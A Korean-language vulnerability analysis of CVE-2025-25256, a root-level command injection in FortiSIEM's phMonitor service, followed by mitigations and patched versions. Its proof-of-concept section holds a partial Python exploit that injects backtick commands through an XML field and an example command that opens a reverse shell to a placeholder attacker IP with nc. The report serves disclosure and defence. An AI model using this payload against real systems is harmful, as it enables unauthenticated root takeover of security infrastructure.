1. 취약점 개요

본 보고서는 FortiSIEM의 phMonitor 프로세스에서 발견된 Command Injection 취약점(CVE-2025-25256)을 분석합니다. 인증되지 않은 원격 공격자가 특정 XML 요청을 통해 시스템의 최고 권한(root)으로 임의의 명령을 실행할 수 있는 심각한 취약점입니다.

1.1 취약점 정보 요약

항목내용
취약점 번호CVE-2025-25256
취약점 유형OS Command Injection
영향 받는 버전FortiSIEM “7.0.0-7.0.3, 7.1.0-7.1.7, 7.2.0-7.2.5, 7.3.0-7.3.1, 6.1.0-6.7.9, 5.4.0 및 하위 모든 버전”
CVSS v3.1Critical 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

1.2 공격 흐름도

  sequenceDiagram
    autonumber
    participant A as 공격자 (Attacker)
    participant P as phMonitor (TCP 7900)
    participant S as ShellCmd::addParaSafe
    participant D as do_system_cancellable

    A->>P: 악성 XML 데이터 전송 (archive_nfs_server_ip 포함)
    P->>S: 입력값 검증 요청 (addParaSafe 호출)
    Note over S: [결함] 백틱(`) 필터링 누락 확인
    S-->>P: 검증 우회 및 악성 페이로드 포함된 명령어 반환
    P->>D: 최종 명령어 실행 (do_system_cancellable)
    Note over D: root 권한으로 임의의 쉘 명령 실행 (RCE)

2. 기술적 배경: FortiSIEM

2.1 주요 구성 요소 분석

  • phMonitor: FortiSIEM 환경에서 장비 모니터링 및 자산 관리를 담당하는 핵심 프로세스입니다. TCP/7900 포트를 통해 원격 노드와 통신하며, 내부적으로 시스템 명령어를 조합하여 실행하는 기능을 포함하고 있습니다.
  • ShellCmd::addParaSafe: 시스템 명령어의 인자값을 안전하게 추가하기 위해 설계된 보안 함수입니다. 입력값 내의 위험한 문자를 검증하고 이스케이프하는 역할을 수행합니다. 하지만 이번 분석을 통해 특정 메타문자에 대한 필터링 미비점이 확인되었습니다.

2.2 명령어 실행 구조

사용자가 특정 XML 요청을 전송하면, phMonitor는 이를 파싱하여 내부 로직에 따라 시스템 명령어를 구성합니다. 이때 보안 함수인 addParaSafe를 거치지만, 백틱에 대한 검증 누락으로 인해 조작된 명령어가 그대로 실행됩니다. 공격자가 전송한 데이터가 보안 함수를 통과하여 최종적으로 시스템 명령어 실행 함수(do_system_cancellable)에 도달하며 취약점이 완성됩니다.


3. Root Cause 분석

3.1 취약점 발현 코드

Ghidra 디컴파일 분석을 통해 확인된 phMonitor 프로세스의 handleStorageArchiveRequest 함수 로직은 다음과 같다. 개발자는 외부 입력값을 시스템 명령어로 전달하기 전 addParaSafe를 호출하여 보안 검증을 수행하도록 설계하였으나, 특정 메타문자에 대한 필터링 미비로 인해 공격자가 최종적으로 root 권한을 획득하게 되는 구조적 결함이 존재한다.

/*
 * phMonitorProcess::handleStorageArchiveRequest
 */
void handleStorageArchiveRequest(...) {
    // 1. XML에서 입력값 추출
    getNodeValue(xml, "archive_nfs_server_ip", &serverIP);
    getNodeValue(xml, "archive_nfs_archive_dir", &archiveDir);
    
    vector<string> params = {storage_script, "nfs", "save"};
    ShellCmd cmd(params);
    
    // 2. [취약 지점] 입력값 검증 수행 (addParaSafe 호출)
    cmd.addParaSafe(serverIP); 
    cmd.addParaSafe(archiveDir); 
    cmd.addPara("archive");
    
    // 3. 명령어 조합 및 실행
    string finalCmd = cmd.str();
    do_system_cancellable(finalCmd); 
}

3.2 ShellCmd::addParaSafe 구현 결함: 필터링 목록 누락

addParaSafe() 함수는 전달받은 인자값에서 위험한 쉘 메타문자를 차단하도록 설계된 보안 함수이나, 실제 구현 코드와 보안 요구사항 사이에는 기술적 간극이 존재한다. addParaSafe는 공백(0x20), 파이프(0x7c), 세미콜론(0x3b) 등 흔히 알려진 메타문자는 식별하여 차단하지만, 명령어 치환에 사용되는 백틱(0x60)은 검증 목록에서 제외되어 있다. 이로 인해 보안 필터가 적용되었음에도 불구하고 백틱이 포함된 페이로드는 어떠한 변조 없이 do_system_cancellable에 도달하게 되며, 결과적으로 시스템이 외부 명령어를 끝까지 해석하고 실행하게 만든다.


4. Proof of Concept (PoC)

4.1 취약점 검증 코드

공격자는 XML 요청의 archive_nfs_archive_dir 필드에 백틱(`)으로 감싼 명령어를 삽입하여 전송합니다. 서버 측의 addParaSafe 함수는 백틱을 필터링하지 않기 때문에 해당 페이로드를 검증된 인자로 간주하여 시스템 명령어 문자열에 그대로 포함시킵니다. 결과적으로 do_system_cancellable 함수가 호출될 때 백틱 내부의 명령이 root 권한으로 실행되면서 공격자의 리버스 쉘이 활성화됩니다.

... 생략 ...

XML_TEMPLATE = """
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>`{peanut}`</archive_nfs_archive_dir>
    <scope>local</scope>
</root>
"""

def exploit(target, command):
    port = 7900
    xml_payload = XML_TEMPLATE.format(peanut=command.replace(' ', '${IFS}'))
    
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    try:
        with socket.create_connection((target, port), timeout=10) as sock:
            print("[+] TCP Connection Established")
            
            with context.wrap_socket(sock, server_hostname=target) as ssock:
                message = build_message(xml_payload)
                ssock.sendall(message)
                print("[+] Malicious XML Payload Sent")

    except Exception as e:
        print(f"[-] Error: {e}")

... 생략 ...

4.2 시나리오 영상

# 리버스 쉘 실행 예시
python CVE-2025-25256.py -t <Target_IP> -c "nc <Attacker_IP> <Port> -e /bin/bash"

5. 보안 대책

5.1 보안 대책 사항

  • 네트워크 격리 및 접근 제어: 외부로 노출된 TCP/7900 포트를 즉시 차단하고, 신뢰할 수 있는 내부 노드 간의 통신만 허용하는 화이트리스트 기반 ACL 설정을 권고합니다.
  • 최신 보안 빌드 업데이트: 본 취약점이 해결된 정식 패치 버전으로의 업데이트가 필수적입니다. 상세한 제품군별 업데이트 대상 버전은 [5.2 대응 버전표]를 참조하여 조치를 수행하시기 바랍니다.

5.2 대응 버전표

대상 제품영향받는 버전 (Vulnerable)해결 방안 (Solution)
FortiSIEM 7.37.3.0 ~ 7.3.17.3.2 이상으로 업데이트
FortiSIEM 7.27.2.0 ~ 7.2.57.2.6 이상으로 업데이트
FortiSIEM 7.17.1.0 ~ 7.1.77.1.8 이상으로 업데이트
FortiSIEM 7.07.0.0 ~ 7.0.37.0.4 이상으로 업데이트

Reference